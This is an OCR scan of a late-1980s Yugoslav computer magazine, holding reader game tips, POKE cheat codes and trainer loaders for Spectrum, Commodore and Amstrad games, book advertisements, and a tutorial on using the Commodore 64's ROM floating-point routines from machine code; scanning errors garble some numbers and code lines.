ru, Najbolje je da izmedu dve vatrene
lopte skociS pred njega i bices direktno
sproveden u dvorac. Sad ne treba da
ide§ odmah desno, vec da odskakuceS
do telefona gornjim putem. Telefon od-
nesi kralju i zavrSio si misiju. Inace
Ivan ima problema sa PROHIBITION-
-om, ne zna kako da .skine" gangstera,
probao je da mu puca u glavu, srce, cak
je koristio i .auto-fire", ali ne pomaze.
Verzija je za Commodore.

jaJa Andric - Said iz Splita pita ka-
|ko da u TURBO BOAT SIMULA-
'TOR-u prede zid?S

B
ranko Zovko iz Sesveta pita kako
da u GRANGE HILL-u pokupi Si-

bice (probao je papirnim avionom,
ali ne ide)?

N
iko Vrdoljak iz Zadra i saveti za
Commodore, BATTLE SHIPS,
kompjuter uvek stavlja jedan svoj

brod na sredinu. INTERNATIONAL
SPEEDWAY, slobodno „seci" krivine
jo§ pre ulaska u njih i bices prvi.
RACK'EM BILLIARD, da bi loptu uba-
cio u rupu, treba da postaviS niSan tac-
no na rupu, a beiu Ippticu udariS tek
kad je vrh stapa najblizi loptici.

(Ojan Hrvatin iz Rijeke pita kako da
,pobedi sefa na trecem nivou u iari

renegade?B

D
enis iz Zagreba odgovara Rado!
lavu Cugalju za FLIGHT SIML
LATOR n, avion se pokrece pr:

tiskanjem desnog tastera na miSu i pc
tezom unapred. Denis pita sta da rad
sa pijancem koga je zaustavio zbog cik-
-cak voznje u igri POLICE QUEST? Ta-
kode mu trebaju Sifre za HACKER n i

EMPIRE.

P
onovo nam se javio i Rajmond Cin-
drid iz Pule. 2ali se da smo njegovo
pismo objavili prekasno, da smo

neke stvari ponavijali. pa je on ispao
prepisivac tudih fora. Cini se da cemo
ponovo morati objasnjavati neke stva-
ri. Broj se sprema raesec dana, tako da
pismo koje zakasni makar jedan dan
iza roka za predaju tekstova raora de-
kati dva meseca da bude objavljeno.
Da, surovo, ali tako je. Prelazimo na
Rajmondove savete. VISITORS, iz prve

prostorije deS izadi tako da svi znakovi
u dnu ekrana budu isti. GRraOli drai
istovremeno space, C i B. Glavni junak
de se penjati po ekranu bez obzira na
okolinu. Sad stani negde gde te ne mo-
gu pogoditi i pucaj. ROBIN OF THE
WOOD, sav novae nosi kod sasuSenog
stabla. AFTERBURNER, PRITISNI
<CrRL> za prelazak u siedeci nivo.
BLOOD BROTHERS, pritiskom na
<RUN/STOP> i <RESTORE> bi-

rag koji modul zeliS (1, 2 ili 3). NINJA
SCOOTER, samo drzi pucanje i garan-
tovano prelazig 1. i 2. nivo, BMX
KIDZ, jedan apel za sve igrace: u .Hot-
line"-ovom introu pi§e .read info to
find about cheat"; dakie, ko ima BMX
KIDZ DOCS, neka proditaj i javi ostali-
ma.

D
amjan Kranjc se javio ponovo sa
svojim savetima za Commodore.
Prvo jedna stara igra, SKOOL DA-

ZE, i komande koje izgieda ne znaju
bag svi: W - garanje po tabli; za kraj

pntisnuti <RETURN >. S - sedanje
na stolicu. J ili L - skok, H - udarac ru-
kom. FERNANDEZ MUST DIE, odgo-
vor Kifiju gde se nalaze zatvorena vra-
ta: nalaze se u steni na levoj i desnoj
strani. BARBARIAN (.Melbourne Ho-
use"), kad uradig sve kao gto pile u opi-
su u jednom od predagnjih brojeva na-
geg lista. morag se vratiti u .room 1",

Ceka te obavegtenje o 100"/ zavrgenoj
igri. SHOOTEM UP CONSTRUCTI-
ON HT, za prebacivanje sopstvene ig-

re u turbo-mod potreban je COPY 190.
Damjan naglagava da nag predlog u
jednom od ranijih brojeva .garant* ne
radi.

• • •

ToHko za sada. I zapamtite: 10 minu-
ta dnevno, na sasvim malom prostoru i

svi ce priraetiti - ditaii ste rubriku
Sta da radim..." Sveta kQmpjutera.

o

POKE cake s
Jos jedan „Svet igara" je
za nama, a jos mnogo
ih je ispred nas.
Dajemo gomilu
POKE-ova, ali ne zurite
da ih isprobate: kraj
skolske godine je
opasno blizu!

Kao i uvek, pocinjemo sa PO-
KE-ovima za...

SPECTRUM

• Prvi je Hrvoje Niksic iz Sibc-
nika.

Spellbound: Otkucajte siedeci pro-
gram i pustite traku od slike;

5 LOAD""CODE 16384
10 FOR A= 23296 TO 23327:
READ B: POKE A.B: NEXT A
20 SAVE "SCREEN" CODE
16384,6947
30 DATA 221, 33, 208, 101, 17
46, 154, 62, 255, 55, 205, 86, 5,

175, 50, 26. 215, 50, 30, 215 50
31, 215, 50,223, 108, 50. 37 141
201, 3, 104

Energija vara se vise nece sma-
njivati.

Garfield: POKE 33595,0 i vas ma-
dak ce uvek biti sit.

Road Blasters: POKE 37100 0 -

gorivo; POKE 29261,0 - zivoti.
BMX Kidz: POKE 52108,0 - ener-
gija.

Buggy Boy: POKE 37966,24 - vre-
me.
Cerius: POKE 47086,0 - bezbroj

metaka. Sifre: EXIT, THRU i

AMEN.
Powerama: POKE 33711,0 - bez-
broj zivota.

Dynastar Mission: Umesto BA-
SlC-a unesite:

1 CLEAR 24200: LOAD "" CODE:
RANDOMIZE USR 39808: LOAD
"" CODE: POKE 53487, 0:

RANDOMIZE USR 47694
UzerTag: POKE 43142,195 - bes-
mrtnost.
Metal Army: POKE 42199,0 - bez-
broj zivota.

Marauder: POKE 34231,0 - bez-
broj SMART-ova.
Hrvoje je pomogao vama a sada

pomozite vi njemu. Potreban mu
je POKE za novi Barbarian.

• "The Big Daba” nam i ovaj
put salje priloge.

Earthlight: POKE 50607.83: POKE
50610,62 - pojacan stit.

Desolator: POKE 45205,201 -

energija.

Skate Crazy: POKE 46473.201 -

zaustavlja vreme.
Front Line: POKE 63400,0
Platoon: Ako imate verziju bez
POKE-a ubacite ga sami - POKE
31270,0
Mickey Mouse: POKE 40035,0 - i

imacete lepka koliko vam treba.
Arkos 3: POKE 51572.182 - bes-
mrtnost.
Dynatron Mission: POKE
41629,183 - mnogo 2ivota (proci-
tajte komentar uz mapu objavlje-
nu u broju 3/89).

Rollaround: POKE 30900,0 - zivo-
ti.

• Kresimir Kos iz Zagreba salje
pomod za Tetris: Ako se ubaci PO-
KE 33112, 24: POKE 26553, 32 on-
da u toku igre SHIFT -f 3 zamrza-
va igru, a SHIFT -f 4 menja sleci

SVET WMojmntA A w.
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oblik koji dolazi. POKE radi samo
kada je ukljucen NEXT.

• Zoran Milosevic iz Beograda

salje:

Chicago 3: POKE 37801, <broj

zivota >
Fernandez Must Die: POKE
23985, 16: POKE 23990, 17: POKE
23995,19
Afterburner: POKE 24471, 189

Hellfire Attack: POKE 45902, 231;

POKE 45902, 232

• Tomislav Nejasmic i Petar

Dundov iz Zagreba su poslali ne-

koliko POKE-ova all su neki vec

objavljeni u "Svetu igara 5", a mi

ne volimo da se ponavijamao. Ta-

ke je za objavljivanje ostao samo
POKE za...

R-type: POKE 65132,175 omogu-
cava' ucitavanje bilo kog nivoa.

• Ponovo nam se javlja Dejan

Lazarevic iz Majdanpeka.
Mutao Zone 1: Zamenite BASIC i

zivoti se nece smanjivati.

10 FOR F= 65000 TO 65026;

READ A: POKE F, A; NEXT F:

RANDOMIZE USR 65000
20 DATA 221, 33. 0, 64, 17, 0,

188, 62, 255, 55, 205. 86, 5, 62, 0,

50, 165, 133, 50, 132, 137, 50, 69,

169, 195, 0, 91

Mutan Zone 2 : Postupak je isti.

10 FOR F= 65000 TO 65020;

READ A; POKE F, A: NEXT F;

RANDOMIZE USR 65000
20 DATA 62, 255, 55, 221, 33, 0,

64, 17. 0, 188, 205, 86, 5, 62, 0, 50,

109, 137, 195, 0, 91

The A-Team 1: Zamenite BASIC i

imacete neogranieeno munieije,

bomb! i zivota;

10 CLEAR 24399: LOAD ""

CODE 24400: POKE 24426, 195:

RANDOMIZE USR 24400

20 FOR F= 0 TO 4: READ A:

POKE A, 0; NEXT F;

RANDOMIZE USR 24500

30 DATA 25091, 26290, 26351,

26366, 26451
Za X neprijatelja i Y dzipova uba-

cite liniju

15 POKE 24864, X: POKE 24869,

Y
The A-Team 2: Isto kao i za prvi

deo.

10 CLEAR 24399; FOR F= 24400

TO 24425; READ A; POKE F, A:

NEXT F: POKE 65533, 217:

POKE 65534, 35: POKE 65535, 3:

RANDOMIZE USR 24500

20 FOR F = 0 TO 4: READ A:

POKE A, 0: NEXT F:

RANDOMIZE USR 24500
30 DATA 221, 33, 0, 64, 17, 0, 27,

62, 255, 55, 205, 86. 5, 221, 33,

180, 95. 17, 70, 160, 62, 255, 55,

195. 86, 5, 25109, 26479, 26379,

26391, 26318
Za X neprijatelja i Y dzipova ubaci

liniju

15 POKE 24882, X: POKE 24887,

Y

10 FOR N = 65000 TO 65020:

READ A; POKE N, A: NEXT N:

RANDOMIZE USR 65000

20 DATA 62, 255, 55, 221, 33. 0,

64 17 48. 163. 205, 86, 5. 62, 60,

50, 172, 213, 195, 128, 212

Netherworld: Zamenite postojeci

BASIC sledecim:

10 LOAD CODE: POKE 64050,

195: POKE 64051, 0; POKE
64052, 251

20 FOR N = 65024 TO 65039:

READ A: POKE N, A: NEXT N:

RANDOMIZE USR 64000

30 DATA 62, 0. 50, 166, 111, 62,

60, so, 173, 111, 49, 32, 66, 195,

53. 250

To je bilo sve za SPECTRUM, a sa-

da prelazimo na...

COMMODORE

• Josip Ivosevic nam se javlja

prvi put, nadamo se ne i poslednji.

Nucleus: Resetujte kompjuter- i

ukucajte POKE 26650, 234: POKE
26651, 234; POKE 26652, 234; SYS

4096,
Neutmare; POKE 4928, 234: PO-

KE 4929, 234; POKE 2157, 234:

SYS 5376 - zivoti: .POKE
4718,<nivo-1-48>: SYS 5376 -

startovanje od bilo kog nivoa.

Mean Streak: POKE 2155, 234:

POKE 2156. 234: POKE 2157.

234: SYS 2064
Pulsoid: POKE 3075, 234: POKE
3076, 234: SYS 2051

Virus; POKE 5196, 234: POKE^^
ooke &3ce0 &c9''nerantivost

5197, 234: POKE 5198, 234: SYS P
.

'7.

ali ovaj put ipak ima dosta „poki-

ca".

• Igor Vukomanovic iz Zagre-

ba salje dva POKE-a.
Galaxia: Kad se ucila slika zausla-

vite kasetofon, u liniji 360 ispred

naredbe CALL unesite POKE
&368F, 0: POKE &35E0, 20 i ucitaj-

te ostatak.

Atlantis: Ucitajte ''prelprogram" i

ispred naredbe CALL upisite PO-

KE 5560, <broj zivota >

• 1 ovaj put, neumorni Jasmin

Halilovic prosto nas je zatrpao go-

milom POKE-ova.
BARBARIAN (Melbourne Hou-
se):

10 for i = &be7a to &be83
20 read a$:poke i,val("&"-+- a $)

30 next:load "barbar"

40 data

af,32,fl,38,32,b9, 60,c3,7a,bc

run
poke &258,&be;run

Dobijale bezbroj strela i zivota,

Ako /.elite samo bezbroj zivota, ni-

je vam ni potreban POKE, vec sa-

mo pri kraju ucitavanja programa
drzite pritisnule lastere P.N,M.

ROBOCOP (prvi deo):

10 openout"c";memory &1094

20 load "robocop"

30 poke &3b41,&b6:'zivoti

40 poke &4257,0 :'municiia

50 poke &7371,0 :‘energija

60 poke &810d.0 :'vreme

70 cal! &1095

SALAMANDER:
10 openout"c'':memory &3af.

20 load "salamander"

• Branislav Barisic za pocetak

salje ispravke POKE-a Pacmaniu
Ispred LOAD "p" CODE treba sta-

viti CLEAR 24575
Robot Scape: Otkucajte BASIC i

pustite traku od treceg dela (prvi

je BASIC).

2085 - zivoti: POKE 2540, <ni-

vo> - startovanje od bilo kog ni-

voa.

Halax: POKE 20183, 234; POKE
20184, 234: POKE 20185, 234: SYS
16384 - zivoti; POKE 16561, <ni-

vo— 1> - startovanje od bilo kog

nivoa.

Osim POKE-ova Josip nam salje i

sifre:

Sinbad: COSMO (2. nivo), TWIST
(3. nivo), STORM (4. nivo).

Thunderhawk: U "SELECTION
SCREEN"-u izaberi M, upisi SE-

SAME i na ekranu ce biti ispisane

sve sifre.

• Elvis Beganovic iz ’Bihaca

nam §alje POKE za...

Nebraska: Pritisnite zajedno;

<SPACE>, <RiGHT SHIET>,
<.>, <N> i imacete bezbroj

zivota.

Dolphin Force: Resetujte igru i ot-

kucajte POKE 2280, 234; POKE
2281, 234: POKE 2282, 234: POKE
3744. 234: POKE 3745, 234; POKE
3746, 234: SYS 36864

Tiger Road: Kad se pojavi uvodna

slika resetujte igru i startujte je sa

SYS 2064 i uci cete u mod za vare-

nje.

Toliko o COMMODORE-u a sa-

da...

40 poke &612c,&3a;'zivoti

50 call &8ed3

TOTAL ECLIPSE (trainer):

10 memory &lc87:load "eclipse"

20 poke &7db4,0;poke &852c.O

30 poke &868f,0:pokc &93b3,0

40 call &lc88
Dobijate neograniCenu energiju.

DRAGON NINJA:
10 memory &2031

20 load "dragon"

30 poke &32ea,0;'vreme

40 poke &3c40,0:’energ!ja

50 call &2032

HUMPHREY:
U postojeci BASIC loader dodajte

liniju 1 mode 1, a u liniju 70 izme-

du load "IhumphreS" i call &lSa1

mozetc ubaciti slftdece POKE-ovc:

-poke &3065,0 za bezbroj zivota.

Isti efekat postizete ako u tokii ig-

re zajedno pritisnete tastere

H.A.S.Y;

-poke &31f4,&9b:poke &31f5.&lc

za prelazak na sledeci nivo. Za

ovo koristite pritisak na „ESC" pa

onda na taster za skok;

-poke &3817,&18;poke &3189,&f9

za onemogucavanje propadanja

kroz otvore;

-poke &20af,&3a za neranjivost od
neprijatelja koji se krece po tUi;

-poke &2813,&18 za neranjivost

od leteceg neprijatelja;

-poke &3dbe,&3a za neranjivost

od polja oznacenog munjom:
-poke &409f,&18 za neranjivost od
eksplozivnog polja.

I. BALL:
10 memory &2074
20 load "iball"

30 poke &39e5,0;’zivoti

40 poke &3401,&3a;poke
&3408,3a;poke
&345e,&3a:'neran)ivost

50 call &2075
INSIDE OUTING:
openout"c":memory
8i017f:load"mside"

Kada se program ucita, za neogra-

nicenu energiju olkucajte poke

&0eb5.0: call &9405
LIVE AND LET DIE:
U postojeci basic loader, u liniji 70

izmedu load "!live&die.003" i call

&ldd49 ubacite poke &870b,0 i ko-

licina goriva se vi§c nece smanji-

vati.

MEGANOVA 1-3 (zivoti):

10 openout"c":memory &023f

20 load ''meganovN".&0240

30 for i = &bf00 to &bf0d

40 read a$

50 poke i,val("&"-l-a$):next

60 poke &NNNN,0:cali &bf00

70 data 01,aa,80, 11,40.01,

21,40,02,ed.b0,c3,XX,yY

N NNNN XX YY

1 5658 97 81

2 519b Ic 7d

3
'

53c3 5f 7f

PLASMATRON:
10 memory &1893
20 load "plasmatr"

30 poke &3ee5,0;'stit

40 call &1894
TYPHOON 1-5;

10 memory &12a7
20 load "t^hoonN"

30 poke &NNNN,0;'zivoti

40 poke &XXXX,&c9:poke
&YYyY,&3a:poke
&ZZZZ,&3a:'neranjivost

50 call &QQQQ

N NNNN XXXX YYYY ZZZZ QQQQ
1 4636 45dd ffff ffff 1640

2 23cf 401d ^239 12a8

3 4584 2768 43b6 45d2 1641

4 4642 45e9 ffff ffff 164c

5 458a 276e 43bc 45d8 1647

AMSTRAD

Amstradovci se, izgleda, vise ig-

raju nego sto rade nesto ozbiljno.

Kao i obieno, svi POKE-ovi vaze za Fiituresoft verzije programa.

Za sada toliko (da se rodetelji i nastavnici ne bi ljutili). Kad sc zavrsi

skola na kiosku ce vas vec cekati letnji dvobroj, a u njemu...

<0
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JOBECANJE ^
rISPUNJENO...

:
U prethodnim oglasima najavili smo nove,
veoma zanimljive i aktuelne naslove u bibli-

‘

^

oteci RACuNARI I INFORMATIKA. Sa za-

;

I dovoljstvom mozemo reel da smo i ovo obe- *

' canje ispunili. -

1. Mr Dragan i Nada Pantic [

MS WORD (208 str.) 125.000 d
'

2 . Dr Dusan Tosic
^

FORTRAN 77 - Zbirka reSenih -

zadataka (200 str.) 128.000 d
'

3. Dr Bozidar Krstajic

CHIWRITER (210 str.) 82.000 d :

4. Mr Dragan i Nada Pantic
WORDPERFECT (210 str.) 85.000 d

5. Grupa autora
STA M0J;E commodore 64 (196 str.) .

6. Veljko Spasic i Dusan Veljkovic
BASIC ZA MIKRORACUNAHE -

COMMODORE 64 (168 str.)

7. Dejan Ristanovic
maSinsko PROGRAMIRANJE na
MIKROPROCESORIMA Z80 i 6502 (255
Str.)

8. Mr Veseiin Petrovic i Zoran Mo§orinski'
COMMODORE 128 (191 str.)

9. Bob Steele i Jerry Wellington
RACUNARI I KOMUNIKACIJE (224 str.) ..

. 10. Grupa autora
KUCNI KOMPJUTERI - Algoritmi i progra-
mi za Spectrum i Commodore (243 str,)

,
11. Dr Dejae Stajit i Dragoslav Jovanovic

ODRZAVANJE I OPRAVKA KUCNIH
RACUNARA - Spectrum i Commodore (160
str.)

12. Philip Crookal
PROGRAMIRANJE ZA POCETNIKE (267
str.)

13. Dr Bo§ko Damjanovic
INFORMATIKA U ALGORITMIMA
I PROGRAMIMA - Metodi6ka zbirka
reSenih zadataka (140 str,)

14. Mr Dragan Pantic
IMB PC XT/AT - Korisniiki program! (240
str.)

15. Mr Vojislav Misic
IBM PC XT/AT U 25 LEKCIJA (242 str.)

16. Mr Dragan Pantic
LOTUS 1-2-3 (229 str.)

17. Grupa autora
AUTO CAD (230 str.

65.000. d

45.000 d
!

74.000 d I

57.000 d
:

22.000 d I

28.000 d

46.000 d
;

25.000 d

57.000 d
;

5 naslova u izdanju Mikro knjige

IZASLO JE IZ Stampe
Dnigo proilreno lzdan|e

Priruinika dBASE III PLUS

IBM PC Uvod u rad, DOS,
BASIC III Izdanje
U ovom izdanju proSiren je uvodni

deo, a pored toga, dopisana su I

nova poglavija: DOS 3.3, DOS 3.31

Compaq i DOS 4.0! Trede izdanje

ove knjige potvrduje da je ovo ne-

ophodna knjiga uz svaki XT, AT ill

kompatibilni raCunar.

Knjiga 3. 416 str. 190.000 din.

Prirudnik dBASE III PLUS
Knjiga o najpoznatijem programu
za obradu baza podafaka na PC ra-

dunarima. Sadrii: osnovne pojmo-
ve, metode programiranja i napred-
ne tehnike kori§6enja programa
dBASE. Detaijna obrada svih na-

redbi i funkeija £ini ovu knjigu refe-

rentnim priruinikom za dBASE III

PLUS
U ovom izdanju je izioien i pro-

gram FoxBASE -t- .
verzija 2.10; sle-

de£i korak u radu sa bazama poda-

Pascal prlru6nlk

Prevod ^scal user manual and re-

port-a, poznatog dela N.Wirth-a,
tvorca programskog jezika Pascal,
predstavija osnovni strufini izvor za
ufienje, primenu I svako dalje im-
plementiranje programskog jezika
Pascal.

Knjiga 4. 280 str. 140.000 din.

Commodore za sva vremena
IV Izdanfa

Najkompletnija knjiga o Commodo-
re 64 na na§em, a verovatno i na
svetskom tiiiStu. Sadrii: BASIC.
Simons BASIC, maSinsko progra-

miranje, ROM rutine sa mapom me-
morije, hardver...

Knjiga 2. 344 str. 150.000 din.
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COMMODORE 64

„Debeljkov"
^ /izloze

kalkulator
Odluciti ste da napisete

program u masinskom jeziku
koji bi na ekranu iscrtavao

grafikone slozenih

matematickih hinkcija. Postavili

ste video cip u odgovarajuci
mod, napisati ratine za osnovne
graficke operacije i vec mislite

da ste vrio blizu resenja. A onda
otkrivate nesto strasno. Da biste

mogli prikazati funkciju na
ekranu potrehno Je na par
mesta izracunati vrednosti
trigonometrijskih funkcija za
zadate parametre. Celobrojno
sabiranje Hi mnozenje
realizovali biste bez nekih
posebnih probiema, ah sta da
radite s funkcijama poput SIN,
COS itd? Resenje je
jednostavno: proucite ovaj
clanak!

N
Pise Nenad Crnko

avedeni problem mozete rijesiti na

dva nacina. Prema prvom, morale

'izlozena neka .,te§ka" teorija jer je cilj clanka

da vam omoguci jednostavnije rjeSavanje va-

§ih probiema. Ako ste, medutim, jace zaintere-

sirani za teoriju, prelistajte starije brojeve na-

§ih racunarskih casopisa ill nabavite odgova-

raju6e knjlgo o ovoj temi.

C-64 radi s tri vrste podataka. {Ovdje se, na*

ravno, ne misli na definicije sprajtova i slic-

no.) To su cijeli brojevi, brojevi u pokretnom

zarezu i stringovi. U nastavku cemo se usred-

srediti na drug! tip, posto se vecina proracuna-

vanja izvrsava ba§ s ovakvim podacima. {Ne-

cete racunati logaritam stringa „aaaa".) Osim
toga, bit ce opisano i pretvaranje izmedu tih ti-

pova podataka tako da zaista necete imati ni-

kakva ogranicenja u programiranju.

Ono osnovno sto morale znati o brojevima

u pokretnom zarezu je broj bajtova koje zauzi-

ma svaki od njih. Svaki ovakav broj zauzima 5

bajtova, cetiri za mantisu i jedan za ekspo-

nent. Sad bismo nogli nastaviti s daljim detalji-

ziranjem, ali cete ubrzo moci uvidjeti da je sva

proracunavanja moguce obaviti i bez toga, Za-

to prelazimo na sljedecu vaznu stvar; takozva-

ne numericke akumulatore. Prilikom racuna-

nja potrebno je broj nad kojim vrgimo operaci-

ju prenijeti na tocno odredene adrese. C-64

ima dva ovakva numericka akumulatora. Oba
su smjestena na nultoj strani memorije sto jc

posljedica procesora koji se nalazi u kompjutc-

ru, Naime, procesor 6510 je graden tako da su

sve operacije s nultom stranom memorije (uz

odgovarajuce adresne nacine) brze. A upravo
je brzina imperativ za slozene operacije nume-
rickih proracunavanja. Numericki akumulato-

ri, koje cemo u nastavku oznacavati s fad i

fac2, zauzimaju sljedece adrese: fad je na

$0061-0066, a fac2 $0069-006e. Vidite da se ov-

dje radi o 6 bajtova, prije je receno da brojevi

u pokretnom zarezu zauzimaju 5 bajtova.’Ova

sami napisati eitavu rutinu za ove razlika je uvedena zbog sto brzeg rada kalku-

oppacije. Da odmah kazem, to vam ne bi pre-

porucio. Izrada neceg slicnog oduzela bi vam

latora, ali sa stanovista programera nije bitna.

Programeru je dovoljno da i dalje brine samo

sate i sate vaseg dragocjenog vremena (narav- o 5 bajtova koje ima smjeStene negdje u me
no, ako uopce uspijete u tome), a na kraju ne nioriji, prije samog proracunavanja.

biste bili sigurni da nije moglo i bolje. Osim to-

ga, potrosili biste priiicno memorije i time sa-

mo nepotrebno produzili svoje programe,

Drugi nacin je mnogo jednostavniji i dostu

Za vecinu funkcija (sve trigonometrijske,

korjenovanje itd.) dovoljan je samo fad. U
njega postavimo broj nad kojim zelimo izvrsiti

operaciju, izvrsimo poziv odgovarajuceg pot-

pan je cak i pocenicima u programiranju na programa, a rezultat se dobije ponovo u istom

masinskom jeziku. U BASIC interpreter su ug- numerickom akumulatoru,. Ovo ne vrijedi za

radene sve ove funkcije, a i mnogo drugih cetiri osnovne racunske operacije: zbrajanje,

(korjenovanje, logaritmiranje itd.) To znaci da oduzimanje, mnozenje i dijeljenje. Kod sve od
•' • njih postoje dva broja nad kojima se vrse ope-

racije pa ih zato moramo staviti u dva nume-
ricka akumulatora. Nakon poziva funkcije re-

negdje u ROM-u postoje rutine za njihovu rea-

lizaciju i to tako napisane da ih mozete pozi

vati kao potprogram instrukcijom JSR. Potreb

no je samo da prije pozivanja rutine postavite zultat se sprema u fad

parametre funkcije na odredene adrese, a na ^ sad idemo na ono najvaznije.

kraju procitate rezultat sa istih adresa. Na taj

nacin mozete znacajno slcratiti sve svoje rutine Kako Sabtati dva bfOia
koje izvrsavaju intezivna numericka proracu- *

navanja. Osim toga, ne morale ponovo ,.otkri-

vati toplu vodu". A sad predimo na stvar.

Kako C-64 pamti podatke

Prva stvar koju moramo obraditi prije sa-

Ovdje se, naravno, radi o brojevima po-

krelnom zarezu, 0 ovom dijelu opisat ce se sa-

mo racunanje, dole ce se transformiranje ii

druge oblike podataka ili ispis rezultata biti

opisani na kraju teksta. Uzmimo sljedeci pri-

mjer. Prvi broj kojeg trebate zbrojiti (u obliku

mih opisa rutina u ROM-u je nacin na koji pokretnog zareza) je na adresi $8000-8004, a

kompjuter pamti podatke. Pri tome nece biti drugi na $8005-8009, Potrebno je premjestiti
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ove brojeve u numericke akumulatore. Zatoi
koristirao dvije rutine iz ROM-a. Rutina na,
adresi $bba2 premjesta prvi broj u fad i prij

tom vrsi njegovo pretvaranje iz oblika sa 5 baj-'

tova u_6 bajtova. Druga rutina na $ba8c iz-

vrsava istu operaciju za drugi broj i fac2. Obje
rutine se koriste na jednak nacin. Prije poziva'
moraju se registri A i Y napuniti odgovaraju-.
cim vrijednostima (A-nizi bajt, Y-visi bajt). ui
ovom slucaju za prvi broj to je konkretno $00'

za A i $80 za Y. Nakon toga treba izvrsiti samo
zbrajanje. Ovo se vrsi jednostavnim poziva-
njem rutine na adresio Sb86a koja vrsi zbraja-

nje i smjesta rezultat u fad. Da bi mogli pono-
vo koristiti numericke akumulatore bez gub-
Ijenja rezultata. potrebno je rezultat ponovo
pretvoriti u oblik s 5 bajta i spremiti ga u me-

. moriju. Ovo obavlja rutina na adresi $bbd4.
Pri tome se registri X i Y trebaju napuniti od-
govarajucim vrijednostima. U X se smjesta nizi

bajt adrese, a u Y visi bajt. Citav postupak mo-
zemo prikazati sljedecim programom. Brojevi
su kako smo vec napomenuli smjeSteni na ad-
resama $8000-8004 i $8005-8009, a rezultat ce
se spremiti na $800a-800e. To bi izgledaio ova-
ko;

7000 Ida #00
7002 ldy#80
7004 jsr bba2
7007 Ida #05
700a ldy#80
700c jsr ba8c

700e jsr b86a
7011 ldx#0a
7013 ldy#80
7015 jsr bbd4
7018 rts

§to se tice ostalih osnovnih operacija, postu-
pak je prakticno isti. Dio koji premjesta broje-
ve u numericke akumulatore i rezultat pono-
vo u memoriju se ne mijenja. Jedina razlika je

u pozivu rutine koja izvrsava samu opraciju.
Umjesto $b86a koja obavlja zbrajanje poziva
se $b853 za oduzimanje, $ba2b za mnozenje iii

$bbl2 za dijeljenje, Potrebna je samo jedna
napomena; vrijedi samo fed = fac2-fad i

fad = fac2/facl, a ne obrnuto. Kod mnozenja
i zbrajanja, zbog zakona komutativnosti, ne-
raorate voditi brigu o ovome.

Ostale funkcije

Nakon osnovnih racunskih operacija prela-

zimo i na one slozenije koje su zapravo jed-

nostavnije za koriscenje posto pri pozivanju
koriste samo fad. Objasnit ce se samo koje je

adrese potrebno pozvati za odredenu operaci-

ju. dokje premjestanje iz memorije u fad i ob-
rnuto jednako kao i u prethodnom primjeru,

1. Korjenovanje;

vrsi se pozivom rutine na adresi $bf71, a iz-

vrsavanje se moze prikazati necim slicnim BA-
SIC notaciji, kao:

fad = sqr{facl)

2. Logaritmiranje:

$b9ea. fad = log(fad)

3. Izracunavanje izraza e*;

Sbfed, facl = ef'^'^’>

4. Potenciranje:

$bf84, fad = fac2<f»‘=i)

jedina funkcija, osim cetiri osnovne, koja ko-
nstj oba numericka akumulatora o cemu mo-
rale voditi racuna.
5. Apsolutna vrijednost broia:

$bc58. fad = abs(fad)

6. Predznak broja:

$bc2b, registar A= sgn(fad)
predznak se stavlja u registar A i to; za nega-
tivni broj = $ff, pozitivni = $01 i nulas=$00,
7, Zaokruzivanje:

$bccc. fad«=int(fad)
Prije nego nastavimo s trigonometrijskim

funkcijama potrebna je jedna napomena. lako
se obicno navodi da se na adresama $e000-ffff
nalazi kernal, a na $a000-bfff BASIC interpre-.
ter. ovo nije potpuno tacno, Prilikom pisanja
ROM-a nije bilo moguce smjestiti citav inter-
preter u 8 kb pa je zato dio na adresama vecim
od SeOOO. To su. upravo, sve trigonometrijske
funkcije.

8, SIN
$e26b, fad = sin(fad)
9. COS

$e264, fad = cos(fad)
10. TAN
$e2b4, facl = tan(fad)
11. ATN
$e30e. facl = atn(facl)

12. RND
$e097, fad = rnd
ova funkcija vam pmogucava da dobijete slu-
cajan broj, i to u pokretnom zarezu, §to moze
korrisno iskoristiti u grafici, simulacijama, sta-
tistickim proracunima itd.

Poslednja funkcija koju cemo objasniti je us-
poredivanje broja iz fad s nekim broiem u
memoriji. Ovo obavlja rutina na adresi $bc5b.
Prije poziva A se puni nizim bajtom adrese, a
Y visim bajtom. Rezultat se smjesta u akumu-
lator, i to na isti nacin kao kod funkcije sgn.

Konverzija i ispis

Obradili smo prakticno sve operacije koje
su spremljene u ROM-u. Potrebno je jos objas-
niti kako se mogu izvrsiti konverzije u druge
tipove podataka (cijele brojeve i stringove) te

kako ispisati rezultate na ekran.
Cijcli brojevi se pamte u dva bajta, Pri tome

vazi:

broj = 256*(visi bajt) -i- (nizi bajt)

Da bismo pretvorili broj iz pokretnog zare-
za u cijeli broj (tj. odbacili decimalna mesta)
koristimo rulinu na adresi $b7f7, Ona vrsi

konverziju broja u pokretnom zarezu iz fad u
cijeli broj i sprema ga na adrese $0014-0015.
Obrnuti postupak, pretvaranje iz cijelog u broj
s polaetnim zarezom, vrsi rutina na adresi
$b391. Akumulator se puni visim bajtom broja
kojeg pretvaramo, a registar Y nizim bajtom.
pozove se rutina i rezultat se smjesti u fad.

Pretvaranje u stringove i ponovo vracanje u
brojeve s pokretnim zarezom je takoder prilic-

no jednostavno, Na primjer, kako pretvoriti
string koji pocinje na adresi $1000 u broj (ov-
dje se misli na string koji zapravo predstavlja
niz ASCII vrijednosti za brojeve). Konkretno;
1000: 2d 33 31 2e 31 31 00
je zapravo broj -31.11. Obavezno je da se
string zavrsava bajtom s vrijednogcu $00 jer se^

tako detektira njegov kraj. Adrese pocetka
stringa (1000) nalazi se u dvije adrese u nultoj
strani $007a-007b. U navedenom primjeru u
$007a treba staviti $00, a u $007b vrijednost
$10, Nakon toga se poziva rutina na adresi

$0079, a onda $bcf3. Broj u pokretnom zarezu
se, kao i obicno, smjesta u fad. Obrnuti postu-
pak je sljedeci, Pozove se rutina $bddd i broj
iz fad se pretvara u string. Taj string se spre-
ma u mikroprocesorov stek od adrese $0100.

Kraj stringa se oznacava bajtom $00, a registri

A i Y se postavljaju tako da pokazuju na adre-
su $0100. Ovo je pogodno zbog toga sto rutina
na adresi $able treba bas'ovakve podatke,
Ona ispisuje string na ekran. a to je upravo
ono §to nam treba.

Da bi citaya stvar bila jasnija, evo i primje-
ra. Cijeli broj 513 (dekadno) bit ce pretvoren u
broj s pokretnim zarezom, izracunat ce se nje-

gov sinus i rezultat u obliku stringa ispisati na
ekran. {513io = 0201i6)

1000 Idy# 01

1002 Ida #02
1004 jsrb391

1007 jsr e26b

100a jsr bddd
lOOd jsr able
1010 r^

